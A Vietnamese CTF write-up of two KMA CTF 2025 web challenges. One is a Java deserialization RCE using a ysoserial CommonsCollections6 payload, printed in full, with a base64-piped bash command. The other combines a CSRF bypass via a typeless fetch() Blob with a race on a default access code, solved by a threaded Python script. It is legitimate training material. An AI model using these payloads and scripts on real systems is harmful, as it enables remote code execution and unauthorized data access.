---
# System prepended metadata

title: KMA CTF 2025 writeup
tags: [ctf_writeup]

---

# legacy
![image](https://hackmd.io/_uploads/Bku1iVmWel.png)

Đây là một challenge về java deserialization 
Qua dockerfile mình biết được
![image](https://hackmd.io/_uploads/BJZknN7bgx.png)
- server sử dụng `jdk 17`
- flag được đặt thư mục root, với random name. Vậy ta sẽ phải RCE để đọc flag

Tại Controller định nghĩa hai endpoint là `legacy/msg` và `legacy/deser` trong đó sink deserialize khá rõ ràng 
![image](https://hackmd.io/_uploads/HJysyBQbxx.png)

khi nhận tham số `data` ứng dụng sẽ giải mã thành mảng byte rồi khởi tạo một `ObjectInputStream` trên luồng đó để gọi `readObject()`

----

Kiểm tra file `pom.xml` ta biết được những thư viện được khai báo, đáng chú ý có `commons-collections` ver `3.2.1` tồn tại lỗi deserialization lợi dụng  class `InvokerTransformer`
![image](https://hackmd.io/_uploads/BJ_Z-B7-el.png)

khi deserialize một instance của lớp này, nó sẽ tự động gọi `Method.invoke()` trên một đối tượng bất kỳ và ta có thể lợi dụng để gọi `Runtime.getRuntime().exec(...)`


[ysoserial](https://github.com/frohoff/ysoserial) có tích hợp sẵn gadget chain cho thư viện này,
![image](https://hackmd.io/_uploads/ryRdZvmWxe.png)
sau một hồi thử test các gadget mình chọn `CommonsCollections6`
> 
> một lưu ý nhỏ là cần sử dụng java version bản cũ để có thể tránh lỗi ngoài ý muốn khi build payload với ysoserial vì bị hạn chế việc truy cập các class nội bộ, ở đây mình sử dụng java 8
![image](https://hackmd.io/_uploads/BynxdHm-ee.png)


----


Một vấn đề nữa là vì ta đang lợi dụng `Runtime.exec()` để thực thi command RCE. Mà method này lại nhận tham số là một mảng chuỗi

![image](https://hackmd.io/_uploads/HysN6S7Zee.png)
> https://www.geeksforgeeks.org/java-runtime-exec-method/

Nếu ta truyền vào một chuỗi duy nhất kiểu `Runtime.Exec('echo hihi > /tmp')` nó sẽ tìm những khoảng trắng để tách string này thành một mảng theo các khoảng trắng, trở thành `'echo' 'hihi' '>' '/tmp'` dẫn tới việc command không theo ý muốn
![image](https://hackmd.io/_uploads/H1lNRH7ble.png)


sau khi loay hoay một hồi mình tìm được tool này `Runtime.exec Payload Generater`
> https://ares-x.com/tools/runtime-exec/


![image](https://hackmd.io/_uploads/S1zKfUmZee.png)

ở đây command được encode base64 lại và truyền cho bash shell xử lý, được encode liền lại, điều này đã tránh được việc bị java tokenize 


----

```
java -jar ysoserial-all.jar CommonsCollections6 'command' | base64 -w0
```

Mình gửi request nhưng response trả về exception 
![image](https://hackmd.io/_uploads/By4eFSX-xg.png)
Khi gặp exception trong java thì ta cần đọc stack trace từ trên xuống dưới vì root cause thường sẽ nằm ở phần đầu trong message 
> failed: java.lang.IllegalArgumentException: Illegal base64 character 20

có vẻ gặp lỗi ở bước base64 decode payload nên mình thử url encode và gửi lại 


lần này response trả về `done`
![image](https://hackmd.io/_uploads/rkZBOrmZge.png)

---
Đã có thể RCE nhưng vẫn còn một vấn đề nữa bởi vì `docker-compose` file khai báo `no-internet` nên ta không thể out bound đưa output ra ngoài được...
![image](https://hackmd.io/_uploads/BJ05QLQ-eg.png)


Chỉ còn lại hai cách đó là ghi output ra webroot hoặc blind đọc từng ký tự một....
- nhưng bằng cách nào đó mình thử `sleep` không hoạt động
- về webroot mình không có ý tường gì stuck khá lâu cho tới khi  khi được a **@kev1n** hint rằng thử tìm ở thư mục `/tmp`

![image](https://hackmd.io/_uploads/ryunOIXWeg.png)


sau khi tìm hiểu mình mới biết rằng mỗi lần deploy Tomcat sẽ giải nén toàn bộ nội dung webapp vào một thư mục tạm. `/tmp` gọi là `document base` và thư mục có format dạng `/tomcat-docbase.<port>.xxxxx` mỗi lần deploy thì giá trị đằng sau sẽ khác nhau, nhưng pattern luôn là `tomcat-docbase.9090..`

confirm có thể ghi ra ngoài
![image](https://hackmd.io/_uploads/HJ0l9LQZgg.png)

-> vậy mình có thể sử dụng 
```
 cat /*.txt  > "`cd /tmp/tomcat-docbase.9090.*;pwd`"/flag.txt
```
![image](https://hackmd.io/_uploads/BynY98XWxe.png)

## exploit
- tạo command dạng base64 encode

![image](https://hackmd.io/_uploads/rknyjIX-ge.png)

- gen payload deser

![image](https://hackmd.io/_uploads/B1d-sLQ-lx.png)
```
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AHliYXNoIC1jIHtlY2hvLElHTmhkQ0F2S2k1MGVIUWdJRDRnSW1CalpDQXZkRzF3TDNSdmJXTmhkQzFrYjJOaVlYTmxMamt3T1RBdUtqdHdkMlJnSWk5bWJHRm5MblI0ZEE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
```

và sau khi gửi request ta nhận được flag
![image](https://hackmd.io/_uploads/BywYj8XZex.png)

> *KMACTF{l364cy_j4v4_7r1ck5!!!!!!!!!!!}*


----

Ngoài ra còn một cách đọc output từ exception - từ author @@
https://cn-sec.com/archives/711453.html
v


## lesson learned
- cách `Runtime.exec()` thực thi command 
- Springboot webroot nằm tại `/tmp/tomcat-docbase.<port>.xxxxxxxx`

## references

- https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
- https://book.hacktricks.wiki/en/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html
- https://ares-x.com/tools/runtime-exec/



# eznote

![image](https://hackmd.io/_uploads/ryeen0bWeg.png)


Truy cập trang web ta thấy một form login
![image](https://hackmd.io/_uploads/HyBGGWbZge.png)

Sau khi đăng nhập thành công ta có thể thấy đây là một ứng dụng dạng note-taking, ở đây có một số chức năng chính:
- tạo post ở trạng thái `public` hoặc `private`
![image](https://hackmd.io/_uploads/HkEKXFl-xg.png)

- với `private post`, có thể chia sẻ với user khác cùng xem bằng cách `Generate Access Code`
![image](https://hackmd.io/_uploads/ry2eNtlbxg.png)

- khi truy cập vào một post không thuộc sở hữu của mình, trang web sẽ yêu cầu nhập mã `Access Code`
![image](https://hackmd.io/_uploads/HyTHVWWblx.png)


- ngoài ra còn có một endpoint ẩn `/report` để báo cáo cho admin
![image](https://hackmd.io/_uploads/ByC6E-ZZle.png)


---


Phía backend được viết bằng golang, có cấu trúc thư mục như sau 


<details>
  <summary>Project Tree</summary>

```
eznote
└─ public
   ├─ bot
   │  ├─ bot.js
   │  └─ package.json
   ├─ chall
   │  ├─ config
   │  │  └─ database.go
   │  ├─ controllers
   │  │  ├─ auth_controller.go
   │  │  ├─ index_controller.go
   │  │  ├─ post_controller.go
   │  │  └─ report_controller.go
   │  ├─ go.mod
   │  ├─ go.sum
   │  ├─ main.go
   │  ├─ middleware
   │  │  ├─ auth_middleware.go
   │  │  └─ csrf_middleware.go
   │  ├─ models
   │  │  ├─ post.go
   │  │  └─ user.go
   │  ├─ note
   │  ├─ routes
   │  │  └─ routes.go
   │  ├─ services
   │  │  ├─ auth_service.go
   │  │  └─ post_service.go
   │  └─ templates
   │     ├─ error.html
   │     ├─ login.html
   │     ├─ post_create.html
   │     ├─ post_detail.html
   │     ├─ post_list.html
   │     ├─ register.html
   │     └─ report.html
   ├─ docker-compose.yml
   └─ dockerfile

```
</details>

- trước hết mình đi xác định xem flag nằm ở đâu trên hệ thống, tại dockerfile có thể thấy được flag được khai báo trong biến môi trường
![image](https://hackmd.io/_uploads/HJHWz2f-ex.png)
 
tại `main.go` 
```go=
	var flagPost models.Post
	result = config.DB.Where("title = ?", "KCSC").First(&flagPost)

	if result.Error != nil {
		log.Println("Creating flag post...")

		flag := os.Getenv("FLAG")
		if flag == "" {
			log.Fatal("FLAG environment variable is not set.")
		}

		flagPost = models.Post{
			Title:     "KCSC",
			Content:   "Congratulations! You found the flag: " + flag,
			UserID:    adminUser.ID,
			IsPrivate: true,
		}

		result = config.DB.Create(&flagPost)
		if result.Error != nil {
			log.Fatal("Failed to create flag post:", result.Error)
		}

		log.Println("Flag post created successfully with ID:", flagPost.ID)
	} else {
		log.Println("Flag post already exists, skipping creation.")
	}
}
```
- Một bài post được tạo với nội dung bao gồm flag lấy từ biến môi trường `FLAG`

- Toàn bộ dữ liệu đều lưu trong SQLite file `posts.db`, giao tiếp qua [GORM](https://github.com/go-gorm/gorm).


- Post này được gắn cho user `admin` và ở trạng thái `private`, chỉ những người có quyền mới truy cập được nội dung flag.

- Post chứa flag sẽ có ID = 1 
![image](https://hackmd.io/_uploads/H1Y6nwWZgx.png)

vậy từ đây ta xác định mục tiêu sẽ là tìm cách đọc nội dung của `/post/1`
![image](https://hackmd.io/_uploads/SyN76D-Wxe.png)

---

Bên cạnh đó chall có một con bot đóng vai trò admin và thực hiện những hành động:

- Mở tab mới
- Đặt timeout cho việc điều hướng (30 giây)
- Truy cập url đã được cung cấp
- Chờ đến khi trang web tải xong (`networkidle2`) sau đó đóng trình duyệt


Với những chall có sử dụng bot như thế này thường sẽ liên quan tới bug XSS hoặc CSRF.
Lúc này mình nghĩ hai kịch bản có thể xảy ra:
1. khai thác XSS tại note để lấy cookie tài khoản admin, từ đó ta có thể xem `/post/1` 
bởi thường thì những chall về note taking này hay dính bug XSS khi mà phải xử lý tới HTML về title, content của bài post...
Và trong quá trình bắt request, burpsuite cũng có alert về việc tồn tại sink `innerHTML` có khả năng tới DOM-based XSS
![image](https://hackmd.io/_uploads/SJ_hSbZ-xg.png)


2. CSRF attack để khiến con bot gửi một Request tạo access code cho bản thân để xem `/post/1` - một request tạo access code có dạng ![image](https://hackmd.io/_uploads/rJU_3sZ-gl.png)

...
Tuy nhiên hướng này vẫn còn một vấn đề đó là: Có vẻ như AccessCode được gen ngẫu nhiên, mà khi tấn công CSRF ta lại không thể kiểm tra được giá trị của AccessCode được generate trong response trả về... 

---- 

## Phân tích

`route.go`
```go!
func SetupRouter() *gin.Engine {
	r := gin.Default()

	r.LoadHTMLGlob("templates/*")

	r.GET("/", controllers.Index)
	r.GET("/login", controllers.LoginIndex)
	r.POST("/login", controllers.LoginHandler)

	r.GET("/register", controllers.RegisterIndex)
	r.POST("/register", controllers.RegisterHandler)

	protected := r.Group("/")
	protected.Use(middleware.AuthMiddleware())
	{
		protected.GET("/posts", controllers.GetPostsHandler)
		protected.GET("/post/new", controllers.PostNewIndex)

		protected.GET("/report", controllers.ReportIndex)

		protected.GET("/post/:id", controllers.GetPostHandler)
		protected.GET("/logout", controllers.LogoutHandler)
	}

	api := protected.Group("/api")
	api.Use(middleware.CsrfMiddleware())
	{
		api.POST("/report", controllers.ReportHandler)
		api.POST("/post", controllers.CreatePostHandler)
		api.POST("/post/:id/access-code", controllers.GenerateAccessCodeHandler)
	}

	return r
}
```
tại đây định nghĩa các endpoint của trang web, bao gồm:

- Các route public (trang chủ, đăng nhập, đăng ký)
- Nhóm route protected yêu cầu xác thực dùng thêm AuthMiddleware
- Nhóm API route `/api/...` dùng thêm CSRF middleware.

Về khả năng XSS thì sau một hồi thử test mà không thể HTML injection,
![image](https://hackmd.io/_uploads/S12s5nz-xl.png)
lý do đó là vì các biến được truyền vào Go template, mà mặc định Go templates HTML-escape tất cả các biến được chèn vào template (như `.post.Title` và `.post.Content`)


Ngoài ra đáng chú ý còn có sink `innerHTML` tại phần tạo AccessCode
![image](https://hackmd.io/_uploads/rJjMsMmZgg.png)

- có `{data.access_code}` có thể html injection bằng cách lợi dụng option tạo custom prefix để kiểm soát giá trị của accessCode, tuy nhiên chỉ có 10 ký tự thì không đủ để tạo payload... 
![image](https://hackmd.io/_uploads/ryELAnGWxe.png)
![image](https://hackmd.io/_uploads/Hyk-Ye7Zgl.png)

Còn với biến `username` thì bị escape bởi hàm `escapeHTML()` rất nohope để bypass..
```javascript!
        function escapeHTML(str) {
            return str
                .replace(/&/g, '&amp;')
                .replace(/</g, '&lt;')
                .replace(/>/g, '&gt;')
                .replace(/"/g, '&quot;')
                .replace(/'/g, '&#039;');
```


### CSRF bypass without Content-Type header

Mình chuyển sang khả năng CSRF có thể hay không


Xét đến những api trên ta thấy chỉ có api `/post/:id/access-code` là có thể gây ra được impact, api này được bảo vệ bởi `CsrfMiddleware`. Đáng chú ý trong này có đoạn:
![image](https://hackmd.io/_uploads/HJW-RRfZll.png)

- Ở đây kiểm tra nếu request không kèm header `Content-Type` middleware sẽ bỏ qua các đoạn check tiếp theo và đi vào handler chính. Lỗ hổng này đã bỏ qua mọi lớp kiểm tra còn lại của middleware. 

-> Vậy nếu ta gửi request không có `Content-Type` header, thì sẽ không cần phải quan tâm tới giá trị của CSRF token nữa 



![image](https://hackmd.io/_uploads/SyNX8eGZxl.png)
![image](https://hackmd.io/_uploads/rJvSUxfWxg.png)
> trong trường hợp bình thường.
> Content-Type: application/json

---
![image](https://hackmd.io/_uploads/r1sFIxzZel.png)
> trường hợp không có header Content-Type, 


Trước hết mình thử CSRF với user `test` để dễ quan sát kết quả
![image](https://hackmd.io/_uploads/SJdjx77bge.png)

![image](https://hackmd.io/_uploads/H1AkbmXZlg.png)


gặp lỗi `{"error":"CSRF token missing"}`

trong html form này thuộc tính `enctype` có tác dụng chỉ định kiểu mã hóa của request, cũng chính là header `content-type`
ban đầu mình nghĩ đơn giản nếu để `enctype=""` thì sẽ tạo được header dạng
![image](https://hackmd.io/_uploads/ry1jfmXWex.png)

nhưng không, browser sẽ tự động gán cho request Content-Type mặc định là `application/x-www-form-urlencoded`
![image](https://hackmd.io/_uploads/H1cLfXQWeg.png)

Đó là bởi html `<form>` này chỉ có thể gửi [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests) cross-origin
> ![image](https://hackmd.io/_uploads/SkvDX77-xe.png)

burpsuite còn hỗ trợ XHR request nhưng điều đó lại trigger Preflight request
![image](https://hackmd.io/_uploads/By7RX7mZel.png)
...

Mình thử search về những cách tạo request khác và tìm được bài này
![image](https://hackmd.io/_uploads/HkTnHOeZlg.png)

và 
![image](https://hackmd.io/_uploads/SySPNXQbxg.png)



> There is a gotcha due to the fetch `API` not only accepting `String` objects for the `body` parameter, but also `Blob` objects. This is relevant as `Blob` objects are more complex than strings, containing not just data but also an associated type. Or even no type at all. By creating a `Blob` object without a type, then passing it to the `fetch` function, a HTTP POST request can be sent cross-site, without CORS, that will not have a `Content-Type` request header. This isn't just limited to empty request bodies either, as the data passed to `Blob` will become the HTTP request body.

Có thể thấy, khi gửi request với `fetch()` có thể tạo được những Complex Request có thể chỉ định tùy ý header, và cách này còn có thể gửi được JSON data khi đặt trong `blob` object

```javascript!
fetch("https://victim.com", {
  method: "POST",
  body: new Blob(["payload"])
});
```

May mắn là trong trường hợp này server không cấu hình các cơ chế bảo vệ SameSite, CORS nên `fetch()` vẫn  hoạt động
> hoặc `fetch()` hoạt động là do cấu hình của con bot idk:((
----
mình tạo một form đơn giản 
```javascript!
<script>
    fetch("http://172.30.13.232:19101/api/post/7/access-code", {
        method: "POST",
        credentials: "include",
        body: new Blob(['{"valid_hours":24,"username":"dunvuo"}'])
    });

</script>
```

It's work!
![image](https://hackmd.io/_uploads/ry4x9m7Wle.png)


Tuy nhiên thực tế ta lại không thể đọc Response trả về, access code được tạo ngẫu nhiên nên mình vẫn betak không thể rõ được ý tưởng làm sao để lấy flag cho tới khi có hint về racee


### Raceeeee 

Sau khi có hint thứ hai về đoạn code lỗi, mình mới nhận ra còn một bug đã bị bỏ sót :
```go!
func GenerateUserSpecificAccessCode(postID uint, customCode string, validHours int, username string) (string, error) {
	access := models.Access{
		PostID:    postID,
		ExpiresAt: time.Now().Add(time.Duration(validHours) * time.Hour),
		Username:  username,
	}

	result := config.DB.Create(&access)
	if result.Error != nil {
		return "", result.Error
	}

	b := make([]byte, 12)
	_, err := rand.Read(b)
	if err != nil {
		return "", err
	}

	var accessCode string
	if customCode != "" {
		accessCode = customCode + "-" + base64.URLEncoding.EncodeToString(b)[:16]
	} else {
		accessCode = base64.URLEncoding.EncodeToString(b)[:16]
	}

	access.AccessCode = accessCode
	updateResult := config.DB.Save(&access)
	if updateResult.Error != nil {
		return "", updateResult.Error
	}

	return accessCode, nil
}

```
Về hàm `GenerateUserSpecificAccessCode()`, hàm này được gọi bởi api `/api/post/:id/access-code` để xử lý quá trình tạo accessCode ngẫu nhiên:
- Đầu tiên, tạo một đối tượng `Access` và lưu vào database thông qua `gorm`
trong đó 
![image](https://hackmd.io/_uploads/rkkLJEXbxe.png)
- sử dụng `crypto/rand` để sinh chuỗi 12 bytes ngẫu nhiên, sau đó gán kết quả cho AccessCode 
- cập nhật lại AccessCode


Vấn đề ở đây là hàm đã thực hiện hai lần thao tác với database thay vì phải tạo AccessCode trước khi đưa bản ghi lên database

và giá trị mặc định của biến `AccessCode` là `1337`
![image](https://hackmd.io/_uploads/BJ9dyNmZeg.png)
-> Tức là trong khoảng thời gian từ khi tạo bản ghi đầu tới thời điểm giá trị của accessCode được cập nhật, giá trị của nó sẽ vẫn mặc định là `1337`

-> Vậy nếu mình khiến admin tạo thật nhiều POST request tạo accessCode, khi đó thật nhiều tiến trình sẽ được tạo ra, trong db lúc này tồn tại nhiều bản ghi với accessCode là `1337` chưa kịp cập nhật, khi đó (maybe) ta có thể truy cập vào `post/1` với `code=1337` 

----


Đến lúc này mọi dữ kiện mình có đã liên kết lại với nhau, ý tưởng sẽ là:
    + CSRF để khiến admin tạo AccessCode
    + Race condition truy cập thật nhanh vào `post/1` trước khi AccessCode được cập nhật 

## Exploit

mình tạo một csrf form gửi request tới `http://127.0.0.1:19101/api/post/1/access-code`
![image](https://hackmd.io/_uploads/B1N874QZxe.png)

Gửi request liên tục tới `post/1` ở với `Concurrent Requests` tầm 30
![image](https://hackmd.io/_uploads/S1bUENXZle.png)

Thời tạo thật nhiều request đồng thời report tới url chứa CSRF form, mục đích là khiến cho trong database tồn tại thật nhiều bản ghi có accessCode=1337, tăng cơ hội race, 
![image](https://hackmd.io/_uploads/HywcVEXZgx.png)

Khởi động intruder và nhận được kết quả
![image](https://hackmd.io/_uploads/HkiaVVQZxl.png)


> *KMACTF{csrf_and_race_condition_419584176}*

---

Hoặc có thể viết script 

`solve.py` from **@nightcore** :fire::fire::fire: 
```python!
import requests
import threading
import time
import os
import urllib.parse 
from bs4 import BeautifulSoup 
import re 

BASE_URL = "http://localhost:19101"
NUM_GET_REQUESTS = 5000
FLAG_REGEX = r"KMACTF\{[^\}]+\}"
TEST_USERNAME = "nightcore"
TEST_PASSWORD = "nightcore"
REGISTER_URL = f"{BASE_URL}/register"
LOGIN_URL = f"{BASE_URL}/login"
REPORT_POST_URL = f"{BASE_URL}/api/report?url=https://ytv9q33r.requestrepo.com/index.html"
ACCESS_GET_URL = f"{BASE_URL}/post/1?code=1337"

stop_event = threading.Event()

def find_and_print_flag(response_text):
    soup = BeautifulSoup(response_text, 'html.parser')
    post_content_divs = soup.find_all('div', class_='post-content')
    for div in post_content_divs:
        content_text = div.get_text()
        match = re.search(FLAG_REGEX, content_text)
        flag = match.group(0)
        print(f"Extracted Flag: {flag}")
        stop_event.set()
        os._exit(0)

def register_user(session, username, password):
    data = {"username": username, "password": password}
    session.post(REGISTER_URL, data=data, headers={"Referer": f"{BASE_URL}/register"})
        
def login_user(session, username, password):
    data = {"username": username, "password": password}
    session.post(LOGIN_URL, data=data, headers={"Referer": LOGIN_URL}, allow_redirects=True)
       
def send_report_post_request(session, csrf_token_header_value):
    if stop_event.is_set():
        return
    X_CSRF_Token_header = {"X-CSRF-Token": csrf_token_header_value}
    session.post(REPORT_POST_URL, headers=X_CSRF_Token_header)
        
def send_access_get_request(session, request_id):
    if stop_event.is_set():
        return
    response = session.get(ACCESS_GET_URL)
    if response.status_code == 200:
        find_and_print_flag(response.text)


if __name__ == "__main__":
    print("Loading...")
    s = requests.Session()
    #register_user(s, TEST_USERNAME, TEST_PASSWORD)
    login_user(s, TEST_USERNAME, TEST_PASSWORD)
    csrf_token_cookie_value = s.cookies.get("csrf_token")
    csrf_token_for_header = urllib.parse.quote(csrf_token_cookie_value)
    post_thread = threading.Thread(target=send_report_post_request, args=(s, csrf_token_for_header))
    get_threads = []
    for i in range(NUM_GET_REQUESTS):
        thread = threading.Thread(target=send_access_get_request, args=(s, i + 1))
        get_threads.append(thread)

    all_threads = [post_thread] + get_threads

    for thread_idx, thread_obj in enumerate(all_threads):
        if stop_event.is_set():
            break
        thread_obj.start()
    
    for thread_obj in all_threads:
        if thread_obj.is_alive():
            thread_obj.join()
```
## Lessons Learned
- CSRF bypass with no Content-Type header using `fetch()` and `Blob` object
- race condition thườngphát sinh khi nhiều luồng hoặc tiến trình cùng thực hiện các thao tác đồng thời lên cùng một tài nguyên...
-> khi gặp những đoạn thực hiện nhiều hành động thao tác với database phải nghĩ tới Race Condition...


## References
- https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr
- https://nastystereo.com/security/cross-site-post-without-content-type.html
- https://book.hacktricks.wiki/en/pentesting-web/csrf-cross-site-request-forgery.html
- https://book.jorianwoltjer.com/web/client-side/cross-site-request-forgery-csrf
- https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions